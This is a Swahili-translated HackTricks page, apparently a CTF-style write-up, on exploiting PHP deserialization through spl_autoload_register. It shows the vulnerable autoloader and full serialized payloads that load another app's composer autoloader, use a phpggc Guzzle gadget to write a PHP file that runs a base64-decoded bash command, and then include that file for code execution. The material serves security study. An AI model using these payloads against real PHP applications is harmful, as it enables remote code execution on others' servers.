mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-17 06:28:27 +00:00
97 lines
7.8 KiB
Markdown
97 lines
7.8 KiB
Markdown
# PHP - Deserialization + Autoload Classes
|
|
|
|
<details>
|
|
|
|
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Njia nyingine za kusaidia HackTricks:
|
|
|
|
* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
|
* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
|
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
|
|
|
</details>
|
|
|
|
Kwanza, unapaswa kuangalia ni nini [**Autoloading Classes**](https://www.php.net/manual/en/language.oop5.autoload.php).
|
|
|
|
## PHP deserialization + spl\_autoload\_register + LFI/Gadget
|
|
|
|
Tuko katika hali ambapo tumepata **deserialization ya PHP katika programu ya wavuti** bila maktaba yoyote inayoweza kudukuliwa ndani ya **`phpggc`**. Walakini, kwenye chombo hicho hicho kulikuwa na **programu nyingine ya wavuti ya mtunzi yenye maktaba zinazoweza kudukuliwa**. Kwa hivyo, lengo lilikuwa **kupakia mzigo wa mtunzi wa programu nyingine ya wavuti** na kuitumia kudukua kwa kutumia kifaa ambacho kitatumia maktaba hiyo na kifaa kutoka kwenye programu ya wavuti inayoweza kudukuliwa.
|
|
|
|
Hatua:
|
|
|
|
* Umeona **deserialization** na **hakuna kifaa** katika msimbo wa programu ya sasa
|
|
* Unaweza kutumia kazi ya **`spl_autoload_register`** kama ifuatavyo ku **pakia faili yoyote ya ndani na kipengee cha `.php`**
|
|
* Kwa hilo, tumia deserialization ambapo jina la darasa litakuwa ndani ya **`$name`**. **Hauwezi kutumia "/" au "."** katika jina la darasa katika kitu kilichosimbwa, lakini **msimbo** unafanya **badilisho** la **chini ya mstari** ("\_") **kwa mabano** ("/"). Kwa hivyo jina la darasa kama `tmp_passwd` litabadilishwa kuwa `/tmp/passwd.php` na msimbo utajaribu kulipakia.\
|
|
Mfano wa kifaa utakuwa: **`O:10:"tmp_passwd":0:{}`**
|
|
```php
|
|
spl_autoload_register(function ($name) {
|
|
|
|
if (preg_match('/Controller$/', $name)) {
|
|
$name = "controllers/${name}";
|
|
} elseif (preg_match('/Model$/', $name)) {
|
|
$name = "models/${name}";
|
|
} elseif (preg_match('/_/', $name)) {
|
|
$name = preg_replace('/_/', '/', $name);
|
|
}
|
|
|
|
$filename = "/${name}.php";
|
|
|
|
if (file_exists($filename)) {
|
|
require $filename;
|
|
}
|
|
elseif (file_exists(__DIR__ . $filename)) {
|
|
require __DIR__ . $filename;
|
|
}
|
|
});
|
|
```
|
|
{% hint style="success" %}
|
|
Ikiwa una **upakiaji wa faili** na unaweza kupakia faili na **kifungu cha `.php`**, unaweza **kutumia kazi hii moja kwa moja** na kupata RCE tayari.
|
|
{% endhint %}
|
|
|
|
Katika kesi yangu, sikuwa na kitu kama hicho, lakini kulikuwa na ukurasa mwingine wa wavuti wa mtunzi ndani ya **chombo kile kile** na **maktaba inayoweza kudhurika na kifaa cha `phpggc`**.
|
|
|
|
* Ili kupakia maktaba hii nyingine, kwanza unahitaji **kupakia mtunzi wa mtunzi wa wavuti ya programu nyingine** (kwa sababu ile ya programu ya sasa haitaweza kufikia maktaba za ile nyingine.) **Ukiwa na njia ya programu**, unaweza kufanikisha hii kwa urahisi sana na: **`O:28:"www_frontend_vendor_autoload":0:{}`** (Katika kesi yangu, mtunzi wa mtunzi alikuwa katika `/www/frontend/vendor/autoload.php`)
|
|
* Sasa, unaweza **kupakia** mtunzi **wa programu nyingine**, kwa hivyo ni wakati wa **`kuzalisha phpgcc`** **malipo** ya kutumia. Katika kesi yangu, nilitumia **`Guzzle/FW1`**, ambayo iliniruhusu **kuandika faili yoyote ndani ya mfumo wa faili**.
|
|
* KUMBUKA: **Kifaa kilichozalishwa hakikuwa kinafanya kazi**, ili kifanye kazi nilibadilisha malipo hayo **`chain.php`** ya phpggc na kuweka **sifa zote** za madarasa **kutoka kwa binafsi hadi umma**. Ikiwa sivyo, baada ya kudeserializa herufi, sifa za vitu vilivyoundwa hazikuwa na thamani yoyote.
|
|
* Sasa tuna njia ya **kupakia mtunzi wa programu nyingine** na kuwa na **malipo ya phpggc yanayofanya kazi**, lakini tunahitaji **kufanya hivi katika OMBI MOJA ili mtunzi upakie wakati kifaa kinapotumiwa**. Kwa hilo, nilituma safu iliyoserialiwa na vitu vyote viwili kama ifuatavyo:
|
|
* Unaweza kuona **kwanza mtunzi unapakia na kisha malipo**
|
|
|
|
{% code overflow="wrap" %}
|
|
```php
|
|
a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}}
|
|
```
|
|
{% endcode %}
|
|
|
|
* Sasa, tunaweza **kuunda na kuandika faili**, hata hivyo, mtumiaji **hawezi kuandika katika folda yoyote ndani ya seva ya wavuti**. Kwa hivyo, kama unavyoona katika mzigo wa data, PHP inaita **`system`** na baadhi ya **base64** imeundwa katika **`/tmp/a.php`**. Kisha, tunaweza **kutumia aina ya kwanza ya mzigo wa data** ambayo tulitumia kama LFI kuweka mzigo wa data wa kompyuta ya mtunzi wa wavuti nyingine **ili kupakia faili iliyoundwa `/tmp/a.php`**. Tuongeze kwenye kifaa cha deserialization: 
|
|
|
|
{% code overflow="wrap" %}
|
|
```php
|
|
a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}}
|
|
```
|
|
{% endcode %}
|
|
|
|
**Muhtasari wa mzigo**
|
|
|
|
* **Pakia autoload ya mtunzi** wa wavuti tofauti katika kontena moja
|
|
* **Pakia kifaa cha phpggc** ili kutumia maktaba kutoka kwa wavuti nyingine (wavuti ya awali iliyokuwa na udhaifu wa deserialization haikuwa na kifaa chochote kwenye maktaba zake)
|
|
* Kifaa hicho kitasababisha **faili yenye mzigo wa PHP** katika /tmp/a.php na amri mbaya (mtumiaji wa wavuti hawezi kuandika kwenye folda yoyote ya wavuti yoyote)
|
|
* Sehemu ya mwisho ya mzigo wetu itatumia **pakia faili ya php iliyozalishwa** ambayo itatekeleza amri
|
|
|
|
Nilihitaji **kuita deserialization hii mara mbili**. Katika majaribio yangu, mara ya kwanza faili ya `/tmp/a.php` iliumbwa lakini haikupakiwa, na mara ya pili ilipakiwa kwa usahihi.
|
|
|
|
<details>
|
|
|
|
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Njia nyingine za kusaidia HackTricks:
|
|
|
|
* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
|
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
|
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|